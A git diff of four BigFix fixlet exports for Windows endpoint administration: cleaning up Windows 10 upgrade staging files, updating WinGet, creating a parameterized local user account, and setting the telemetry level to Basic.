diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes
index 5f5d5e386..09fd7ac54 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : ~Win10-1809::STAGE3::Cleanup
-  ID       : 25595
-  Author   : Ken
-  Domain   : BESC
-  Imported : 2019-01-09T03:32:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>~Win10-1809::STAGE3::Cleanup</Title>
-    <Description><![CDATA[<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
-<DIV class=FixletMessage>
-<UL>
-<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
-<P>Win10-1809::STAGE2::INSTALL</P>
-<UL>
-<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
-<P>Win10-1809::STAGE3::Cleanup</P>
-<UL>
-<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
-    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then true else false</Relevance>
-    <Relevance>name of operating system contains &quot;Win10&quot;</Relevance>
-    <Relevance>version of operating system as string contains &quot;17763&quot;</Relevance>
-    <Category>ARRIS Management</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-07-31</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 07 Jan 2019 15:57:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">folder delete &quot;C:\temp\Win10&quot;</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1809::STAGE3::Cleanup
+  ID       : 25595
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2019-01-09T03:32:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1809::STAGE3::Cleanup</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1809::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
+<P>Win10-1809::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then true else false</Relevance>
+    <Relevance>name of operating system contains &quot;Win10&quot;</Relevance>
+    <Relevance>version of operating system as string contains &quot;17763&quot;</Relevance>
+    <Category>ARRIS Management</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-07-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Jan 2019 15:57:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">folder delete &quot;C:\temp\Win10&quot;</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes b/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes
index 628c6f504..e2c4281a2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : WinGet (WinGet method)
-  ID       : 27387
-  Author   : skyler
-  Domain   : BESC
-  Imported : 2025-09-16T09:39:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>WinGet (WinGet method)</Title>
-    <Description>Installs latest version of WinGet using WinGet. </Description>
-    <Relevance><![CDATA[(name of it starts with "Win" and version of it >= "10.0.16299.0") of operating system and true]]></Relevance>
-    <Relevance>exists key whose (value &quot;DisplayName&quot; of it as string starts with &quot;Microsoft Visual C++ 2015-2022 Redistributable (x64)&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry and true</Relevance>
-    <Relevance>exists files &quot;winget.exe&quot; of folders whose (name of it starts with &quot;Microsoft.DesktopAppInstaller&quot; and name of it ends with &quot;x64__8wekyb3d8bbwe&quot;) of folder &quot;C:\Program Files\WindowsApps&quot; and true</Relevance>
-    <Relevance><![CDATA[not exists files "winget.exe" whose (version of it >= "1.24.25180.0") of folders whose (name of it starts with "Microsoft.DesktopAppInstaller" and name of it ends with "x64__8wekyb3d8bbwe") of folder "C:\Program Files\WindowsApps"]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2025-07-21</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 21 Jul 2025 19:19:18 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-PowerShell"># Get winget location that SYSTEM user can access
-$wingetPath = (Resolve-Path &apos;C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_*_x64__8wekyb3d8bbwe\winget.exe&apos;)[-1].Path
-
-# Attempt to install winget using winget
-$process = Start-Process $wingetPath -ArgumentList &apos;install --id Microsoft.AppInstaller --accept-source-agreements --accept-package-agreements&apos; -Wait -PassThru
-
-# If install failed, attempt install with Repair-WinGetPackageManager
-if ($process.ExitCode -ne 0) {
-	$progressPreference = &apos;SilentlyContinue&apos;
-	Install-PackageProvider -Name NuGet -Force
-	Install-Module -Name Microsoft.WinGet.Client -Force -Repository PSGallery
-	Repair-WinGetPackageManager
-}</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : WinGet (WinGet method)
+  ID       : 27387
+  Author   : skyler
+  Domain   : BESC
+  Imported : 2025-09-16T09:39:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>WinGet (WinGet method)</Title>
+    <Description>Installs latest version of WinGet using WinGet. </Description>
+    <Relevance><![CDATA[(name of it starts with "Win" and version of it >= "10.0.16299.0") of operating system and true]]></Relevance>
+    <Relevance>exists key whose (value &quot;DisplayName&quot; of it as string starts with &quot;Microsoft Visual C++ 2015-2022 Redistributable (x64)&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry and true</Relevance>
+    <Relevance>exists files &quot;winget.exe&quot; of folders whose (name of it starts with &quot;Microsoft.DesktopAppInstaller&quot; and name of it ends with &quot;x64__8wekyb3d8bbwe&quot;) of folder &quot;C:\Program Files\WindowsApps&quot; and true</Relevance>
+    <Relevance><![CDATA[not exists files "winget.exe" whose (version of it >= "1.24.25180.0") of folders whose (name of it starts with "Microsoft.DesktopAppInstaller" and name of it ends with "x64__8wekyb3d8bbwe") of folder "C:\Program Files\WindowsApps"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-07-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 21 Jul 2025 19:19:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-PowerShell"># Get winget location that SYSTEM user can access
+$wingetPath = (Resolve-Path &apos;C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_*_x64__8wekyb3d8bbwe\winget.exe&apos;)[-1].Path
+
+# Attempt to install winget using winget
+$process = Start-Process $wingetPath -ArgumentList &apos;install --id Microsoft.AppInstaller --accept-source-agreements --accept-package-agreements&apos; -Wait -PassThru
+
+# If install failed, attempt install with Repair-WinGetPackageManager
+if ($process.ExitCode -ne 0) {
+	$progressPreference = &apos;SilentlyContinue&apos;
+	Install-PackageProvider -Name NuGet -Force
+	Install-Module -Name Microsoft.WinGet.Client -Force -Repository PSGallery
+	Repair-WinGetPackageManager
+}</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes
index 2e60570bb..89ecadf58 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes	
@@ -1,134 +1,134 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Windows - New local user definition
-  ID       : 27388
-  Author   : kapax
-  Domain   : BESC
-  Imported : 2025-10-24T07:35:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Windows - New local user definition</Title>
-    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
-<P>There are times when your Windows&nbsp;systems are not joined to a domain and you need to define and use a common user on many systems (e.g.: an specific application user) that cannot be inherited by the Active Directory definition.</P>
-<P>Defining and managing a common local user at scale can be cumbersome or overwhelming.</P>
-<P>This&nbsp;task prompts for user/password combination to define a new windows local user and assigning it to a LocalGroup. Password travels encrypted and is not visible nor reusable.</P>
-<P>User is defined with an attribute to not Expire the given password.</P>
-<P>Error Conditions:</P>
-<DIV>
-<UL>
-<LI>If the user already exists the action will fail
-<LI>If a Password policy enforces the minimum password lenght on the target system, task execution will stop when the provided password is not compliant.</LI></UL></DIV>
-<P>If the specfied&nbsp;local group doesn't exists or the group is not specified, the command will NOT try to create a new group but will proceed successfully without assigning the user to the group.<BR>&nbsp;</P><script>
-    loaded = false;
-    var CODE_SITE_NAME = 'BES Support' ;
-    function loadScript (siteName, callback) {
-      loaded = false;
-      var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
-      var code = EvaluateRelevance(relevanceQuery);
-      var head = document.getElementsByTagName("head")[0];
-      var script   = document.createElement("script");
-      script.type  = "text/javascript";
-      script.text = code;
-      head.appendChild(script);
-      callback();
-    }
-    function scriptLoaded(){
-      if (!loaded) {
-        if ( typeof FixletUtils !== 'undefined') {
-           loaded = true;
-           var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
-           var messages = EvaluateRelevance(relQuery);
-           var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
-           var matches = regex.exec(messages);
-           matches[1]=matches[1].replace(/<br>/gi,"");
-           eval(matches[1]);
-           FixletUtils.initFixletRender();
-        }
-    }
-}
-    loadScript(CODE_SITE_NAME, scriptLoaded);
-  </script>
-<DIV class=FixletProperty>Written by <A href="mailto:andrea.capasso@hcl-software.com">andrea.capasso@hcl-software.com</A> using documentation from <A href="https://bigfix-wiki.hcltechsw.com/wikis/home?lang=en-us#!/wiki/BigFix%20Wiki/page/Creating%20parameterized%20fixlets">BigFix Wiki </A>for <A href="https://bigfix-wiki.hcltechsw.com/wikis/form/anonymous/api/wiki/9800bed4-8101-452b-930b-807aed3eb996/page/7f83cd36-a84c-49b4-9564-2b4706d5fc73/attachment/4475deef-1e3e-4886-95af-a15b1babb022/media/Creating%20parameterized%20fixlets_att_Creating%20Parameterized%20Fixlets%20V1.0.doc">parametrized fixlets</A></DIV></DIV>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists true whose (if true then in proxy agent context else false) then false else true</Relevance>
-    <Category>Utility</Category>
-    <Source>andrea.capasso@hcl-software.com</Source>
-    <SourceReleaseDate>2025-10-24</SourceReleaseDate>
-    <MIMEField>
-      <Name>parametermetadatatag</Name>
-      <Value>
-{
-    &quot;NewUser&quot;: {
-        &quot;Name&quot;: &quot;NewUser&quot;,
-        &quot;Title&quot;: &quot;New User Name: &quot;,
-        &quot;Description&quot;: &quot;Enter the new account name: &quot;,
-        &quot;UIType&quot;: &quot;Textbox&quot;,
-        &quot;Default&quot;: &quot;NewUser&quot;,
-        &quot;Required&quot;: &quot;1&quot;
-    },
-    &quot;RDPW&quot;: {
-        &quot;Name&quot;: &quot;RDPW&quot;,
-        &quot;Title&quot;: &quot;User Password: &quot;,
-        &quot;Description&quot;: &quot;Define user&apos;s access Password: &quot;,
-        &quot;Encrypt&quot;: &quot;true&quot;,
-        &quot;UIType&quot;: &quot;Textbox&quot;,
-        &quot;SubUIType&quot;: &quot;Password&quot;,
-        &quot;Required&quot;: &quot;1&quot;
-    },
-    &quot;Groupname&quot;: {
-        &quot;Name&quot;: &quot;Groupname&quot;,
-        &quot;Title&quot;: &quot;Group Name: &quot;,
-        &quot;Description&quot;: &quot;Enter the group to assign the new account: &quot;,
-        &quot;UIType&quot;: &quot;Textbox&quot;,
-        &quot;Default&quot;: &quot;Guests&quot;,
-        &quot;Required&quot;: &quot;0&quot;
-    },
-    &quot;NewUserDescription&quot;: {
-        &quot;Name&quot;: &quot;NewUserDescription&quot;,
-        &quot;Title&quot;: &quot;New User Description: &quot;,
-        &quot;Description&quot;: &quot;Enter the group to assign the new account: &quot;,
-        &quot;UIType&quot;: &quot;Textbox&quot;,
-        &quot;Default&quot;: &quot;Local User created by BigFix Fixlet&quot;,
-        &quot;Required&quot;: &quot;0&quot;
-    }
-}
-			</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 24 Oct 2025 14:32:35 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to deploy this action with NET USER.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//action parameter query "NewUser" with description "Enter the new account:" with default "useraccount"
-//action parameter query "Groupname" with description "Enter the group to add the user to:" with default "Administrators"
-//action parameter query "NewUserDescription" with description "Enter the new account Description:" with default "User Description"
-continue if {not exists local user (parameter "NewUser")}
-continue if {minimum password length of security database <= length of (parameter "RDPW")}
-action log command
-waithidden net user "{parameter "NewUser"}" "{parameter "RDPW"}" /ADD /passwordreq:yes /expires:never /COMMENT:"{parameter "NewUserDescription"}"
-continue if {exists local user (parameter "NewUser")}
-action log all
-//Need to use Powershell 64 Bit
-action uses wow64 redirection false
-//waithidden %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-LocalUser -Name '{parameter "NewUser"}' -PasswordNeverExpires:$true"
-waithidden powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-LocalUser -Name '{parameter "NewUser"}' -PasswordNeverExpires:$true"
-// waithidden wmic UserAccount where Name="{parameter "NewUser"}" set PasswordExpires=False
-waithidden net user "{parameter "NewUser"}" /Active:YES
-if {parameter "Groupname" as trimmed string is not "" and  exists local group (parameter "Groupname")}
-waithidden net localgroup "{parameter "Groupname"}"  "{parameter "NewUser"}" /ADD
-  // exit code 2 when the user is already there
-continue if {exit code of action as integer = 0 or exit code of action as integer = 2}
-endif]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows - New local user definition
+  ID       : 27388
+  Author   : kapax
+  Domain   : BESC
+  Imported : 2025-10-24T07:35:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows - New local user definition</Title>
+    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
+<P>There are times when your Windows&nbsp;systems are not joined to a domain and you need to define and use a common user on many systems (e.g.: an specific application user) that cannot be inherited by the Active Directory definition.</P>
+<P>Defining and managing a common local user at scale can be cumbersome or overwhelming.</P>
+<P>This&nbsp;task prompts for user/password combination to define a new windows local user and assigning it to a LocalGroup. Password travels encrypted and is not visible nor reusable.</P>
+<P>User is defined with an attribute to not Expire the given password.</P>
+<P>Error Conditions:</P>
+<DIV>
+<UL>
+<LI>If the user already exists the action will fail
+<LI>If a Password policy enforces the minimum password lenght on the target system, task execution will stop when the provided password is not compliant.</LI></UL></DIV>
+<P>If the specfied&nbsp;local group doesn't exists or the group is not specified, the command will NOT try to create a new group but will proceed successfully without assigning the user to the group.<BR>&nbsp;</P><script>
+    loaded = false;
+    var CODE_SITE_NAME = 'BES Support' ;
+    function loadScript (siteName, callback) {
+      loaded = false;
+      var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
+      var code = EvaluateRelevance(relevanceQuery);
+      var head = document.getElementsByTagName("head")[0];
+      var script   = document.createElement("script");
+      script.type  = "text/javascript";
+      script.text = code;
+      head.appendChild(script);
+      callback();
+    }
+    function scriptLoaded(){
+      if (!loaded) {
+        if ( typeof FixletUtils !== 'undefined') {
+           loaded = true;
+           var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
+           var messages = EvaluateRelevance(relQuery);
+           var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
+           var matches = regex.exec(messages);
+           matches[1]=matches[1].replace(/<br>/gi,"");
+           eval(matches[1]);
+           FixletUtils.initFixletRender();
+        }
+    }
+}
+    loadScript(CODE_SITE_NAME, scriptLoaded);
+  </script>
+<DIV class=FixletProperty>Written by <A href="mailto:andrea.capasso@hcl-software.com">andrea.capasso@hcl-software.com</A> using documentation from <A href="https://bigfix-wiki.hcltechsw.com/wikis/home?lang=en-us#!/wiki/BigFix%20Wiki/page/Creating%20parameterized%20fixlets">BigFix Wiki </A>for <A href="https://bigfix-wiki.hcltechsw.com/wikis/form/anonymous/api/wiki/9800bed4-8101-452b-930b-807aed3eb996/page/7f83cd36-a84c-49b4-9564-2b4706d5fc73/attachment/4475deef-1e3e-4886-95af-a15b1babb022/media/Creating%20parameterized%20fixlets_att_Creating%20Parameterized%20Fixlets%20V1.0.doc">parametrized fixlets</A></DIV></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists true whose (if true then in proxy agent context else false) then false else true</Relevance>
+    <Category>Utility</Category>
+    <Source>andrea.capasso@hcl-software.com</Source>
+    <SourceReleaseDate>2025-10-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>parametermetadatatag</Name>
+      <Value>
+{
+    &quot;NewUser&quot;: {
+        &quot;Name&quot;: &quot;NewUser&quot;,
+        &quot;Title&quot;: &quot;New User Name: &quot;,
+        &quot;Description&quot;: &quot;Enter the new account name: &quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;Default&quot;: &quot;NewUser&quot;,
+        &quot;Required&quot;: &quot;1&quot;
+    },
+    &quot;RDPW&quot;: {
+        &quot;Name&quot;: &quot;RDPW&quot;,
+        &quot;Title&quot;: &quot;User Password: &quot;,
+        &quot;Description&quot;: &quot;Define user&apos;s access Password: &quot;,
+        &quot;Encrypt&quot;: &quot;true&quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;SubUIType&quot;: &quot;Password&quot;,
+        &quot;Required&quot;: &quot;1&quot;
+    },
+    &quot;Groupname&quot;: {
+        &quot;Name&quot;: &quot;Groupname&quot;,
+        &quot;Title&quot;: &quot;Group Name: &quot;,
+        &quot;Description&quot;: &quot;Enter the group to assign the new account: &quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;Default&quot;: &quot;Guests&quot;,
+        &quot;Required&quot;: &quot;0&quot;
+    },
+    &quot;NewUserDescription&quot;: {
+        &quot;Name&quot;: &quot;NewUserDescription&quot;,
+        &quot;Title&quot;: &quot;New User Description: &quot;,
+        &quot;Description&quot;: &quot;Enter the group to assign the new account: &quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;Default&quot;: &quot;Local User created by BigFix Fixlet&quot;,
+        &quot;Required&quot;: &quot;0&quot;
+    }
+}
+			</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 24 Oct 2025 14:32:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to deploy this action with NET USER.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//action parameter query "NewUser" with description "Enter the new account:" with default "useraccount"
+//action parameter query "Groupname" with description "Enter the group to add the user to:" with default "Administrators"
+//action parameter query "NewUserDescription" with description "Enter the new account Description:" with default "User Description"
+continue if {not exists local user (parameter "NewUser")}
+continue if {minimum password length of security database <= length of (parameter "RDPW")}
+action log command
+waithidden net user "{parameter "NewUser"}" "{parameter "RDPW"}" /ADD /passwordreq:yes /expires:never /COMMENT:"{parameter "NewUserDescription"}"
+continue if {exists local user (parameter "NewUser")}
+action log all
+//Need to use Powershell 64 Bit
+action uses wow64 redirection false
+//waithidden %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-LocalUser -Name '{parameter "NewUser"}' -PasswordNeverExpires:$true"
+waithidden powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-LocalUser -Name '{parameter "NewUser"}' -PasswordNeverExpires:$true"
+// waithidden wmic UserAccount where Name="{parameter "NewUser"}" set PasswordExpires=False
+waithidden net user "{parameter "NewUser"}" /Active:YES
+if {parameter "Groupname" as trimmed string is not "" and  exists local group (parameter "Groupname")}
+waithidden net localgroup "{parameter "Groupname"}"  "{parameter "NewUser"}" /ADD
+  // exit code 2 when the user is already there
+continue if {exit code of action as integer = 0 or exit code of action as integer = 2}
+endif]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes
index fffc657a1..534a23ecc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : <Windows 10 Configuration>: Set Telemetry Level to "Basic"
-  ID       : 11671
-  Author   : riffk
-  Domain   : BESC
-  Imported : 2016-04-05T13:10:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>&lt;Windows 10 Configuration&gt;: Set Telemetry Level to &quot;Basic&quot;</Title>
-    <Description><![CDATA[<P>Sets the registry value to control the telemetery setting for Windows 10</P>
-<P>Configure telemetry and other settings in your organization (Windows)<BR><A href="https://technet.microsoft.com/en-us/library/mt577208(v=vs.85).aspx">https://technet.microsoft.com/en-us/library/mt577208(v=vs.85).aspx</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance>/* True if not set to Basic */ exists values &quot;AllowTelemetry&quot; whose (it != &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection&quot; of (x32 registries; x64 registries)</Relevance>
-    <Relevance>/* Windows 10 Only */ (version of it as string starts with &quot;10.&quot;) of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-05</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 05 Apr 2016 20:07:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Registry value to Basic for Windows 10 Telemetry
-
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection]&quot; &quot;AllowTelemetry&quot;=dword:00000001
-
-	else
-
-		regset &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection]&quot; &quot;AllowTelemetry&quot;=dword:00000001
-
-endif
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : <Windows 10 Configuration>: Set Telemetry Level to "Basic"
+  ID       : 11671
+  Author   : riffk
+  Domain   : BESC
+  Imported : 2016-04-05T13:10:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>&lt;Windows 10 Configuration&gt;: Set Telemetry Level to &quot;Basic&quot;</Title>
+    <Description><![CDATA[<P>Sets the registry value to control the telemetery setting for Windows 10</P>
+<P>Configure telemetry and other settings in your organization (Windows)<BR><A href="https://technet.microsoft.com/en-us/library/mt577208(v=vs.85).aspx">https://technet.microsoft.com/en-us/library/mt577208(v=vs.85).aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>/* True if not set to Basic */ exists values &quot;AllowTelemetry&quot; whose (it != &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance>/* Windows 10 Only */ (version of it as string starts with &quot;10.&quot;) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 05 Apr 2016 20:07:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Registry value to Basic for Windows 10 Telemetry
+
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection]&quot; &quot;AllowTelemetry&quot;=dword:00000001
+
+	else
+
+		regset &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection]&quot; &quot;AllowTelemetry&quot;=dword:00000001
+
+endif
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
